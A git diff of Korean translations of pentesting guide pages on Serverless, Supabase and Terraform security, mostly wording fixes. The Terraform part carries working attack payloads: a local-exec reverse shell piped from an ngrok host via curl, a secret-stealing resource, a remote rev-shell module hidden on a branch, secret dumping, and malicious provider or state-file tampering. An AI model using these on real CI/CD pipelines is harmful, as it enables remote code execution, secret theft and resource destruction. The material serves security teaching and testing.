+- **함수 접근 제한:** VPC, 보안 그룹 및 방화벽 규칙을 사용하여 신뢰할 수 있는 출처로의 접근을 제한합니다.
+- **강력한 인증 구현:** 모든 노출된 엔드포인트가 적절한 인증 및 권한 부여를 요구하도록 합니다.
+- **API 게이트웨이를 안전하게 사용:** API 게이트웨이를 구성하여 입력 검증 및 속도 제한을 포함한 보안 정책을 시행합니다.
+- **사용하지 않는 엔드포인트 비활성화:** 더 이상 사용하지 않는 엔드포인트를 정기적으로 검토하고 비활성화합니다.
---
-### **Excessive Permissions for Team Members and External Collaborators**
+### **팀원 및 외부 협력자에 대한 과도한 권한**
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
+팀원 및 외부 협력자에게 과도한 권한을 부여하면 무단 접근, 데이터 유출 및 리소스 남용으로 이어질 수 있습니다. 이 위험은 여러 개인이 다양한 수준의 접근 권한을 가진 환경에서 더욱 커지며, 공격 표면과 내부 위협의 가능성을 증가시킵니다.
-#### **Mitigation Strategies**
+#### **완화 전략**
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **최소 권한 원칙:** 팀원 및 협력자가 작업을 수행하는 데 필요한 권한만 가지도록 합니다.
---
-### **Access Keys and License Keys Security**
+### **액세스 키 및 라이센스 키 보안**
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
+**액세스 키** 및 **라이센스 키**는 Serverless Framework CLI와의 상호작용을 인증하고 권한을 부여하는 데 사용되는 중요한 자격 증명입니다.
-- **License Keys:** 그들은 Serverless Framework Version 4에 대한 접근을 인증하는 데 필요한 고유 식별자입니다. CLI를 통해 로그인할 수 있습니다.
-- **Access Keys:** Serverless Framework CLI가 Serverless Framework Dashboard와 인증하는 데 사용하는 자격 증명입니다. `serverless` cli로 로그인할 때 액세스 키가 **생성되어 노트북에 저장됩니다**. 또한 `SERVERLESS_ACCESS_KEY`라는 환경 변수로 설정할 수 있습니다.
+- **라이센스 키:** CLI를 통해 로그인할 수 있도록 하는 Serverless Framework 버전 4에 대한 인증에 필요한 고유 식별자입니다.
+- **액세스 키:** Serverless Framework Dashboard와 인증하기 위해 Serverless Framework CLI가 사용하는 자격 증명입니다. `serverless` cli로 로그인할 때 액세스 키가 **생성되어 노트북에 저장됩니다**. 또한 `SERVERLESS_ACCESS_KEY`라는 환경 변수로 설정할 수 있습니다.
-#### **Security Risks**
+#### **보안 위험**
-1. **Exposure Through Code Repositories:**
-- Access Keys 및 License Keys를 하드코딩하거나 실수로 버전 관리 시스템에 커밋하면 무단 접근이 발생할 수 있습니다.
-2. **Insecure Storage:**
-- 적절한 암호화 없이 환경 변수나 구성 파일에 평문으로 키를 저장하면 유출 가능성이 높아집니다.
-3. **Improper Distribution:**
-- 안전하지 않은 채널(예: 이메일, 채팅)을 통해 키를 공유하면 악의적인 행위자에 의해 가로채질 수 있습니다.
-4. **Lack of Rotation:**
+1. **코드 리포지토리를 통한 노출:**
+- 액세스 키 및 라이센스 키를 하드코딩하거나 실수로 버전 관리 시스템에 커밋하면 무단 접근이 발생할 수 있습니다.
+2. **안전하지 않은 저장:**
+- 적절한 암호화 없이 환경 변수나 구성 파일 내에 평문으로 키를 저장하면 유출 가능성이 높아집니다.
+3. **부적절한 배포:**
+- 안전하지 않은 채널(예: 이메일, 채팅)을 통해 키를 공유하면 악의적인 행위자에게 가로채질 수 있습니다.
+4. **회전 부족:**
- 키를 정기적으로 회전하지 않으면 키가 손상된 경우 노출 기간이 연장됩니다.
-5. **Excessive Permissions:**
+5. **과도한 권한:**
- 광범위한 권한을 가진 키는 여러 리소스에서 무단 작업을 수행하는 데 악용될 수 있습니다.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index da64a9978..5d7d5050a 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -23,7 +23,7 @@
이 섹션에는 다음과 같은 옵션도 포함되어 있습니다:
- 데이터베이스 비밀번호 재설정
-- 연결 풀 구성
+- 연결 풀링 구성
- SSL 구성: 평문 연결 거부 (기본적으로 활성화되어 있음)
- 디스크 크기 구성
- 네트워크 제한 및 금지 적용
@@ -33,11 +33,11 @@
> [!TIP]
> **이 데이터는 `https://supabase.com/dashboard/project//settings/api`와 같은 링크에서 접근할 수 있습니다.**
-프로젝트에서 supabase API에 접근하는 URL은 다음과 같습니다: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+프로젝트에서 supabase API에 접근하는 URL은 다음과 같을 것입니다: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon API 키
-또한 **anon API 키**(`role: "anon"`)를 생성합니다, 예: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` 애플리케이션이 API 키에 접근하기 위해 사용해야 합니다.
+또한 **anon API 키**(`role: "anon"`)를 생성합니다, 예: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` 이 애플리케이션이 API 키에 접근하기 위해 사용해야 합니다.
이 API에 연락하기 위한 API REST를 [**문서**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)에서 찾을 수 있지만, 가장 흥미로운 엔드포인트는 다음과 같습니다:
@@ -99,7 +99,7 @@ Priority: u=1, i
```
-그래서, 클라이언트가 부여받은 서브도메인으로 supabase를 사용하는 것을 발견할 때마다 (회사의 서브도메인이 그들의 supabase 서브도메인에 CNAME이 있을 가능성이 있음), **supabase API를 사용하여 플랫폼에 새 계정을 생성해 보십시오**.
+그래서, 클라이언트가 부여받은 서브도메인으로 supabase를 사용하는 것을 발견할 때마다 (회사의 서브도메인이 그들의 supabase 서브도메인에 CNAME을 가질 가능성이 있음), **supabase API를 사용하여 플랫폼에 새 계정을 생성**해 볼 수 있습니다.
### 비밀 / 서비스 역할 API 키
@@ -116,10 +116,10 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M
### 가입
> [!TIP]
-> 기본적으로 supabase는 **새 사용자가 프로젝트에 계정을 생성**할 수 있도록 허용합니다.
+> 기본적으로 supabase는 **새 사용자가 프로젝트에 계정을 생성**할 수 있도록 이전에 언급한 API 엔드포인트를 사용합니다.
-그러나 이러한 새 계정은 기본적으로 **로그인하기 위해 이메일 주소를 확인해야** 합니다. 이메일 주소를 확인하지 않고도 로그인할 수 있도록 **"익명 로그인 허용"**을 활성화할 수 있습니다. 이는 **예상치 못한 데이터**에 대한 접근을 허용할 수 있습니다 (그들은 `public` 및 `authenticated` 역할을 받습니다).\
-이는 매우 나쁜 아이디어입니다. 왜냐하면 supabase는 활성 사용자당 요금을 부과하기 때문에 사람들이 사용자를 생성하고 로그인할 수 있으며 supabase는 이에 대해 요금을 부과할 수 있기 때문입니다:
+그러나 이러한 새 계정은 기본적으로 **로그인하기 위해 이메일 주소를 확인해야** 합니다. 이메일 주소 확인 없이 로그인할 수 있도록 **"익명 로그인 허용"**을 활성화할 수 있습니다. 이는 **예상치 못한 데이터**에 대한 접근을 허용할 수 있습니다 (그들은 `public` 및 `authenticated` 역할을 받습니다).\
+이는 supabase가 활성 사용자당 요금을 부과하기 때문에 매우 나쁜 아이디어입니다. 사람들이 사용자를 생성하고 로그인할 수 있으며 supabase는 이에 대해 요금을 부과할 것입니다:
@@ -138,7 +138,7 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M
### 고급 설정
- 액세스 토큰의 만료 시간 설정 (기본값 3600)
-- 잠재적으로 손상된 새로 고침 토큰을 감지하고 취소하는 설정
+- 잠재적으로 손상된 새로 고침 토큰을 감지하고 취소하는 설정 및 타임아웃
- MFA: 사용자당 한 번에 등록할 수 있는 MFA 요소 수를 지정 (기본값 10)
- 최대 직접 데이터베이스 연결: 인증에 사용되는 최대 연결 수 (기본값 10)
- 최대 요청 지속 시간: 인증 요청이 지속될 수 있는 최대 시간 (기본값 10초)
@@ -146,7 +146,7 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M
## 저장소
> [!TIP]
-> Supabase는 **파일을 저장**하고 URL을 통해 접근할 수 있도록 허용합니다 (S3 버킷을 사용합니다).
+> Supabase는 **파일을 저장**하고 URL을 통해 접근할 수 있도록 합니다 (S3 버킷을 사용합니다).
- 업로드 파일 크기 제한 설정 (기본값 50MB)
- S3 연결은 다음과 같은 URL로 제공됩니다: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
@@ -154,6 +154,6 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M
## 엣지 함수
-supabase에 **비밀을 저장**할 수도 있으며, 이는 **엣지 함수에 의해 접근 가능**합니다 (웹에서 생성 및 삭제할 수 있지만, 그 값을 직접 접근할 수는 없습니다).
+supabase에 **비밀을 저장**할 수 있으며, 이는 **엣지 함수에 의해 접근 가능**합니다 (웹에서 생성 및 삭제할 수 있지만, 그 값에 직접 접근할 수는 없습니다).
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 0b6d8a834..53c2133a1 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -2,43 +2,43 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 기본 정보
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[문서에서:] (https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform은 **코드로서의 인프라 도구**로, 인간이 읽을 수 있는 구성 파일에서 **클라우드 및 온프레미스 리소스**를 정의할 수 있게 해줍니다. 이러한 파일은 버전 관리, 재사용 및 공유가 가능합니다. 그런 다음 일관된 워크플로를 사용하여 인프라의 전체 수명 주기 동안 모든 인프라를 프로비저닝하고 관리할 수 있습니다. Terraform은 컴퓨트, 스토리지 및 네트워킹 리소스와 같은 저수준 구성 요소뿐만 아니라 DNS 항목 및 SaaS 기능과 같은 고수준 구성 요소를 관리할 수 있습니다.
#### Terraform은 어떻게 작동하나요?
-Terraform은 클라우드 플랫폼 및 기타 서비스에서 리소스를 생성하고 관리하기 위해 애플리케이션 프로그래밍 인터페이스(API)를 사용합니다. 프로바이더는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작업할 수 있도록 합니다.
+Terraform은 클라우드 플랫폼 및 기타 서비스에서 애플리케이션 프로그래밍 인터페이스 (API)를 통해 리소스를 생성하고 관리합니다. 제공자는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작업할 수 있도록 합니다.
.png>)
-HashiCorp와 Terraform 커뮤니티는 이미 **1700개 이상의 프로바이더**를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가하고 있습니다. 모든 공개 프로바이더는 [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등이 포함됩니다.
+HashiCorp와 Terraform 커뮤니티는 이미 **1700개 이상의 제공자**를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가하고 있습니다. 모든 공개 제공자는 [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등이 포함됩니다.
핵심 Terraform 워크플로는 세 가지 단계로 구성됩니다:
-- **작성:** 여러 클라우드 프로바이더 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서가 있는 가상 사설 클라우드(VPC) 네트워크의 가상 머신에 애플리케이션을 배포하기 위한 구성을 만들 수 있습니다.
-- **계획:** Terraform은 기존 인프라와 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다.
-- **적용:** 승인이 이루어지면 Terraform은 리소스 종속성을 존중하며 제안된 작업을 올바른 순서로 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다.
+- **작성:** 여러 클라우드 제공자 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서가 있는 가상 사설 클라우드 (VPC) 네트워크의 가상 머신에 애플리케이션을 배포하는 구성을 만들 수 있습니다.
+- **계획:** Terraform은 기존 인프라 및 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다.
+- **적용:** 승인 시 Terraform은 리소스 종속성을 존중하며 제안된 작업을 올바른 순서로 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다.
.png>)
-### Terraform Lab
+### Terraform 실습
-컴퓨터에 terraform을 설치하기만 하면 됩니다.
+컴퓨터에 terraform을 설치하세요.
여기에서 [가이드](https://learn.hashicorp.com/tutorials/terraform/install-cli)를 확인하고, 여기에서 terraform을 다운로드하는 [최고의 방법](https://www.terraform.io/downloads)을 확인하세요.
-## RCE in Terraform
+## Terraform의 RCE
Terraform은 **웹 페이지나 네트워크 서비스를 노출하는 플랫폼이 없습니다**. 따라서 terraform을 손상시키는 유일한 방법은 **terraform 구성 파일을 추가/수정할 수 있는 능력**입니다.
-그러나 terraform은 **손상시키기 매우 민감한 구성 요소**입니다. 왜냐하면 제대로 작동하기 위해 **특권 액세스**를 다양한 위치에 가져야 하기 때문입니다.
+그러나 terraform은 **손상시키기 매우 민감한 구성 요소**입니다. 왜냐하면 제대로 작동하기 위해 **다양한 위치에 대한 권한 있는 접근**을 가지기 때문입니다.
-공격자가 terraform이 실행되는 시스템을 손상시킬 수 있는 주요 방법은 **terraform 구성을 저장하는 리포지토리를 손상시키는 것**입니다. 왜냐하면 언젠가는 이들이 **해석될** 것이기 때문입니다.
+공격자가 terraform이 실행되는 시스템을 손상시킬 수 있는 주요 방법은 **terraform 구성을 저장하는 리포지토리를 손상시키는 것**입니다. 왜냐하면 어느 시점에서 그것들이 **해석될** 것이기 때문입니다.
-실제로 PR이 생성된 후 **terraform plan/apply를 자동으로 실행하는** 솔루션이 존재합니다. 예를 들어 **Atlantis**가 있습니다:
+실제로, **PR**이 생성된 후 **terraform plan/apply를 자동으로 실행하는** 솔루션이 있습니다. 예를 들어 **Atlantis**가 있습니다:
{{#ref}}
atlantis-security.md
@@ -46,13 +46,13 @@ atlantis-security.md
terraform 파일을 손상시킬 수 있다면, 누군가 `terraform plan` 또는 `terraform apply`를 실행할 때 RCE를 수행할 수 있는 다양한 방법이 있습니다.
-### Terraform plan
+### Terraform 계획
-Terraform plan은 terraform에서 **가장 많이 사용되는 명령어**이며, terraform을 사용하는 개발자/솔루션은 이를 항상 호출합니다. 따라서 **RCE를 얻는 가장 쉬운 방법**은 임의의 명령을 실행할 terraform 구성 파일을 오염시키는 것입니다.
+Terraform 계획은 terraform에서 **가장 많이 사용되는 명령**이며, terraform을 사용하는 개발자/솔루션은 이를 항상 호출합니다. 따라서 **RCE를 얻는 가장 쉬운 방법**은 임의의 명령을 실행할 terraform 구성 파일을 오염시키는 것입니다.
-**외부 프로바이더 사용하기**
+**외부 제공자 사용**
-Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` 프로바이더](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `plan` 중에 임의의 코드를 실행하기 위해 `external` 데이터 소스를 사용할 수 있습니다.
+Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` 제공자](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `plan` 중에 임의의 코드를 실행하기 위해 `external` 데이터 소스를 사용할 수 있습니다.
terraform 구성 파일에 다음과 같은 내용을 주입하면 `terraform plan`을 실행할 때 rev shell이 실행됩니다:
```javascript
@@ -75,13 +75,13 @@ version = "1.0"
provider "evil" {}
```
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+제공자는 `init`에서 다운로드되며 `plan`이 실행될 때 악성 코드를 실행합니다.
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+예제는 [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)에서 확인할 수 있습니다.
**외부 참조 사용하기**
-두 가지 언급된 옵션은 유용하지만 그리 은밀하지는 않습니다 (두 번째는 더 은밀하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 **더 은밀한 방법**으로 이 공격을 수행할 수 있습니다:
+언급된 두 가지 옵션은 유용하지만 그리 은밀하지 않습니다(두 번째는 첫 번째보다 더 은밀하지만 더 복잡합니다). 다음 제안을 따르면 이 공격을 **더 은밀한 방법**으로 수행할 수 있습니다:
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 **외부 리소스**를 **로드**할 수 있습니다:
```javascript
@@ -89,14 +89,14 @@ module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+다음 링크에서 rev shell 코드를 찾을 수 있습니다: [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- 외부 리소스에서 **ref** 기능을 사용하여 **레포의 브랜치에 있는 terraform rev shell 코드를 숨기세요**, 다음과 같은 형식으로: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- 외부 리소스에서 **ref** 기능을 사용하여 리포지토리 내의 **브랜치에 있는 terraform rev shell 코드**를 숨길 수 있습니다. 예: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 **악성 Terraform 파일을 주입하여 RCE를 얻기 위해 남용할 수 있습니다** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 해야 합니다:
+Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 **악성 Terraform 파일을 주입하여 RCE를 얻기 위해 악용할 수 있습니다** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 하면 됩니다:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
+이 공격을 **더 은밀한 방법으로 수행하기 위해 이전 기술의 제안을 따르십시오**.
-## Secrets Dumps
+## 비밀 덤프
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
+`terraform apply`를 실행하여 **terraform에서 사용되는 비밀 값을 덤프할 수 있습니다**. terraform 파일에 다음과 같은 내용을 추가하십시오:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -132,7 +132,7 @@ terraform 상태 파일에 대한 쓰기 권한이 있지만 terraform 코드를
1. **실제 삭제할 리소스를 가리키는 임의의 이름으로 리소스를 상태 파일에 삽입하기**
-terraform은 해당 리소스가 존재하지 않아야 한다고 판단하므로, 이를 파괴할 것입니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예:
+terraform은 해당 리소스가 존재하지 않아야 한다고 판단하여, 이를 파괴할 것입니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예:
```json
{
"mode": "managed",
@@ -148,13 +148,13 @@ terraform은 해당 리소스가 존재하지 않아야 한다고 판단하므
]
},
```
-2. **업데이트할 수 없는 방식으로 삭제할 리소스를 수정합니다 (그래서 삭제되고 다시 생성됩니다)**
+2. **업데이트할 수 없는 방식으로 삭제하도록 리소스를 수정합니다 (그래서 삭제되고 재생성됩니다)**
-EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 다시 생성하도록 만들 수 있습니다.
+EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 재생성하도록 만들 수 있습니다.
### RCE
-[커스텀 프로바이더를 생성하는 것도 가능합니다](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) 그리고 terraform 상태 파일에서 악성 프로바이더로 하나의 프로바이더를 교체하거나 악성 프로바이더로 빈 리소스를 추가할 수 있습니다. 원래 연구의 예:
+[사용자 정의 제공자를 생성하는 것도 가능합니다](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) 그리고 terraform 상태 파일에서 악성 제공자로 하나의 제공자를 교체하거나 악성 제공자로 빈 리소스를 추가합니다. 원래 연구의 예:
```json
"resources": [
{
@@ -169,7 +169,7 @@ EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 ter
```
### 블랙리스트에 있는 프로바이더 교체
-`hashicorp/external`이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에서 게시된 external 프로바이더의 포크를 사용합니다. 당신도 자신의 포크나 재구현을 게시할 수 있습니다.
+`hashicorp/external`이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에 게시된 external 프로바이더의 포크를 사용합니다. 당신도 자신의 포크나 재구현을 게시할 수 있습니다.
```terraform
terraform {
required_providers {
@@ -180,7 +180,7 @@ version = "3.0.0"
}
}
```
-그런 다음 일반적으로 `external`을 사용할 수 있습니다.
+그럼 정상적으로 `external`을 사용할 수 있습니다.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
@@ -190,12 +190,12 @@ program = ["sh", "-c", "whoami"]
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk은 Terraform, CloudFormation, Kubernetes 및 기타 IaC 형식에서 취약점과 잘못된 구성을 감지하는 포괄적인 Infrastructure as Code (IaC) 스캔 솔루션을 제공합니다.
+Snyk은 Terraform, CloudFormation, Kubernetes 및 기타 IaC 형식에서 취약점과 잘못된 구성을 감지하는 포괄적인 Infrastructure as Code (IaC) 스캐닝 솔루션을 제공합니다.
- **기능:**
-- 보안 취약점 및 규정 준수 문제에 대한 실시간 스캔.
+- 보안 취약점 및 컴플라이언스 문제에 대한 실시간 스캐닝.
- 버전 관리 시스템(GitHub, GitLab, Bitbucket)과의 통합.
-- 자동 수정 풀 요청.
+- 자동 수정 풀 리퀘스트.
- 상세한 수정 조언.
- **가입하기:** [Snyk](https://snyk.io/)에서 계정을 만드세요.
```bash
@@ -206,9 +206,9 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov**는 코드로서의 인프라(IaC)를 위한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.
+**Checkov**는 인프라스트럭처 코드(IaC)를 위한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다.
-이 도구는 [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 또는 [OpenTofu](https://opentofu.org/)를 사용하여 프로비저닝된 클라우드 인프라를 스캔하고 그래프 기반 스캔을 통해 보안 및 컴플라이언스 잘못 구성된 사항을 감지합니다.
+이 도구는 [Terraform](https://terraform.io/)을 사용하여 프로비저닝된 클라우드 인프라를 스캔하고, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 또는 [OpenTofu](https://opentofu.org/)를 스캔하여 그래프 기반 스캐닝을 사용하여 보안 및 컴플라이언스 잘못 구성된 사항을 감지합니다.
이 도구는 오픈 소스 패키지 및 이미지에 대한 일반 취약점 및 노출(CVEs)을 스캔하는 [소프트웨어 구성 분석(SCA) 스캔](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)을 수행합니다.
```bash
@@ -223,7 +223,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com
- **behaviour driven development:** 거의 모든 것에 대해 BDD가 있는데, IaC에 대해서는 왜 안 될까요?
- **portable:** `pip`에서 설치하거나 `docker`를 통해 실행하기만 하면 됩니다. [설치](https://terraform-compliance.com/pages/installation/)를 참조하세요.
- **pre-deploy:** 배포되기 전에 코드를 검증합니다.
-- **easy to integrate:** 모든 배포가 검증되도록 파이프라인(또는 git 후크)에서 실행할 수 있습니다.
+- **easy to integrate:** 모든 배포가 검증되도록 파이프라인(또는 git hooks)에서 실행할 수 있습니다.
- **segregation of duty:** 별도의 팀이 책임지는 다른 리포지토리에 테스트를 보관할 수 있습니다.
> [!NOTE]
@@ -241,7 +241,7 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec는 잠재적
- ⛔ 수백 개의 내장 규칙
- 🪆 모듈 스캔 (로컬 및 원격)
- ➕ HCL 표현식과 리터럴 값을 평가합니다.
-- ↪️ Terraform 함수 예: `concat()`를 평가합니다.
+- ↪️ Terraform 함수 예: `concat()`을 평가합니다.
- 🔗 Terraform 리소스 간의 관계를 평가합니다.
- 🧰 Terraform CDK와 호환됩니다.
- 🙅 사용자 정의 Rego 정책을 적용하고 (장식합니다).
@@ -256,7 +256,7 @@ tfsec /path/to/folder
**KICS**를 사용하여 인프라 코드의 개발 주기 초기에 보안 취약점, 컴플라이언스 문제 및 인프라 구성 오류를 찾아보세요.
-**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자로, 오픈 소스이며 모든 클라우드 네이티브 프로젝트에 필수입니다.
+**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자로, 오픈 소스이며 모든 클라우드 네이티브 프로젝트에 필수적입니다.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
@@ -265,14 +265,14 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
